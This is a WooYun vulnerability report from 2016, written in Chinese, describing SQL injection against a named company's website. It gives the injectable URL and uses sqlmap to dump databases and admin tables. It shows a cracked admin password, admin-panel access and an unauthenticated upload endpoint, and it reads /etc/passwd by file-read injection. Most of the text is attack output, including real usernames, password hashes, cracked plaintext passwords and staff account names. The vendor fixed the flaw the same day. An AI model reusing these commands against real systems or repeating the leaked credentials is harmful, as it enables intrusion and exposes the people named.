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缺陷编号：wooyun-2016-0192360

漏洞标题：webpower官网sql注入漏洞，已入后台，数据库root权限

相关厂商：webpower

漏洞作者： whoamiecho

提交时间：2016-04-05 11:58

修复时间：2016-04-05 16:23

公开时间：2016-04-05 16:23

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-05： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-05： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

webpower官网sql注入漏洞，已入后台，数据库root权限

详细说明：

求个邀请码：
注入点：
http://www.webpowerasia.com/m/con.php?id=11
通过sqlmap测试：

QQ截图20160404124627.png


数据库挺多的，

available databases [19]:
[*] information_schema
[*] k11_birthday
[*] k11_optin
[*] ktest
[*] mysql
[*] phpmyadmin
[*] site_xbox
[*] task
[*] ued_wiki
[*] webpower_website
[*] wechat_site
[*] wp-e-sight
[*] wp-e-sight-en
[*] wp_e-home
[*] wp_faq
[*] wp_task
[*] wp_tl-group
[*] wp_webpowerasia
[*] wp_website


先来拿下网站吧：
尝试寻找网站数据库并获取后台用户名和密码：

Database: wp_webpowerasia
[16 tables]
+-------------------+
| cases_category    |
| customer_category |
| manage_about      |
| manage_admin      |
| manage_admin_log  |
| manage_apply      |
| manage_cases      |
| manage_config     |
| manage_customer   |
| manage_event      |
| manage_links      |
| manage_mt         |
| manage_news       |
| manage_post       |
| post_category     |
| tag_category      |
+-------------------+
Database: wp_webpowerasia
Table: manage_admin
[4 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| content      | mediumtext   |
| id           | int(11)      |
| username     | varchar(200) |
| userpassword | varchar(200) |
+--------------+--------------+
Database: wp_webpowerasia
Table: manage_admin
[1 entry]
+----------+----------------------------------+
| username | userpassword                     |
+----------+----------------------------------+
| admin    | 6966fe537468bb6a170b3c40ba22538d |     
+----------+----------------------------------+


解密结果为：webp0wer
，获取后台：
http://www.webpowerasia.com/manage/index.php
登陆试试：

QQ截图20160404130741.jpg


网站有两种上传类型，一个是编辑器：CKEditor 3.2.1 (revision 5372)
可修改上传文件名；一个是自己写的
这里存在任意文件上传：

QQ截图20160404131452.jpg

QQ截图20160404130710.jpg


http://www.webpowerasia.com//uploadfile/201604/20160404010622.txt

QQ截图20160404130647.jpg


上传点可未授权访问：
http://www.webpowerasia.com//manage/post/up_pic.php
透过后台得到网站绝对路径：
/var/www/html/webpowerasia
那我们来通过注入获取文件：
sqlmap.py -u "http://www.webpowerasia.com/m/con.php?id=29" --file-read "etc/passwd"

QQ截图20160404132000.jpg


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
qpidd:x:498:499:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat6:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
alonso.chen:x:501:501::/home/alonso.chen:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
leo.chen:x:502:502::/home/leo.chen:/bin/bash
rocky.zhang:x:503:503::/home/rocky.zhang:/bin/bash
postmaster:x:504:504::/home/postmaster:/sbin/nologin
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
dovenull:x:497:496:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
koen:x:505:505::/home/koen:/bin/bash
kuku.li:x:507:507::/home/kuku.li:/bin/bash
bob.liu:x:508:508::/home/bob.liu:/bin/bash
michael.han:x:509:510::/home/michael.han:/bin/bash
mkt_upload:x:512:513::/var/www/html/webpowerwebsite/uploadfile/markting:/bin/bash
pluto.chan:x:513:514::/home/pluto.chan:/bin/bash
rain.zhao:x:514:515::/home/rain.zhao:/bin/bash
zabbix:x:496:495:Zabbix Monitoring System:/var/lib/zabbix:/sbin/nologin


QQ截图20160404133043.jpg


还可以获取数据库用户名和密码哦，这里再贴一下其他数据吧：

database management system users password hashes:
[*] alonso.chen [1]:
    password hash: *80F2C54DD0E8548D01BCA1D75AB6E4A5FD1AA7BF
[*] root [2]:
    password hash: *51BBF7BD5C01E0212ED1EC596FA7CCE962AA1B33
    password hash: NULL
	
	
	
Database: wp_website
[16 tables]
+-------------------+
| cases_category    |
| customer_category |
| manage_about      |
| manage_admin      |
| manage_admin_log  |
| manage_apply      |
| manage_cases      |
| manage_config     |
| manage_customer   |
| manage_event      |
| manage_links      |
| manage_mt         |
| manage_news       |
| manage_post       |
| post_category     |
| tag_category      |
+-------------------+
Table: manage_admin
[4 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| content      | mediumtext   |
| id           | int(11)      |
| username     | varchar(200) |
| userpassword | varchar(200) |
+--------------+--------------+
Table: manage_admin
[1 entry]
+---------------+----------------------------------+
| username      | userpassword                     |
+---------------+----------------------------------+
| webpowerchina | 1309112725a40e38aa14e35e3a50a53c |
+---------------+----------------------------------+
	
Database: wp_faq
Table: manage_admin
[9 entries]
+-------------+----------------------------------+
| username    | userpassword                     |
+-------------+----------------------------------+
| admin       | 6f292abc57aa3dde9ef9886c590d26f3 |      Webpower1
| wp_leo      | 6966fe537468bb6a170b3c40ba22538d |
| nicole.shen | b56e0b4ea4962283bee762525c2d490f |
| van.fan     | 6966fe537468bb6a170b3c40ba22538d |
| monica.sun  | 6966fe537468bb6a170b3c40ba22538d |
| joyce.huang | 76e2e42643666620948c29cc8ca48f78 |
| allen.jing  | 4f066b79b7ffe87cb953536d470b07e0 |
| cathy       | 25d55ad283aa400af464c76d713c07ad |
| <blank>     | d41d8cd98f00b204e9800998ecf8427e |

漏洞证明：

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
qpidd:x:498:499:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat6:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
alonso.chen:x:501:501::/home/alonso.chen:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
leo.chen:x:502:502::/home/leo.chen:/bin/bash
rocky.zhang:x:503:503::/home/rocky.zhang:/bin/bash
postmaster:x:504:504::/home/postmaster:/sbin/nologin
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
dovenull:x:497:496:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
koen:x:505:505::/home/koen:/bin/bash
kuku.li:x:507:507::/home/kuku.li:/bin/bash
bob.liu:x:508:508::/home/bob.liu:/bin/bash
michael.han:x:509:510::/home/michael.han:/bin/bash
mkt_upload:x:512:513::/var/www/html/webpowerwebsite/uploadfile/markting:/bin/bash
pluto.chan:x:513:514::/home/pluto.chan:/bin/bash
rain.zhao:x:514:515::/home/rain.zhao:/bin/bash
zabbix:x:496:495:Zabbix Monitoring System:/var/lib/zabbix:/sbin/nologin

修复方案：

过滤

版权声明：转载请注明来源 whoamiecho@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2016-04-05 12:52

厂商回复：

正在修复中

最新状态：

2016-04-05：已修复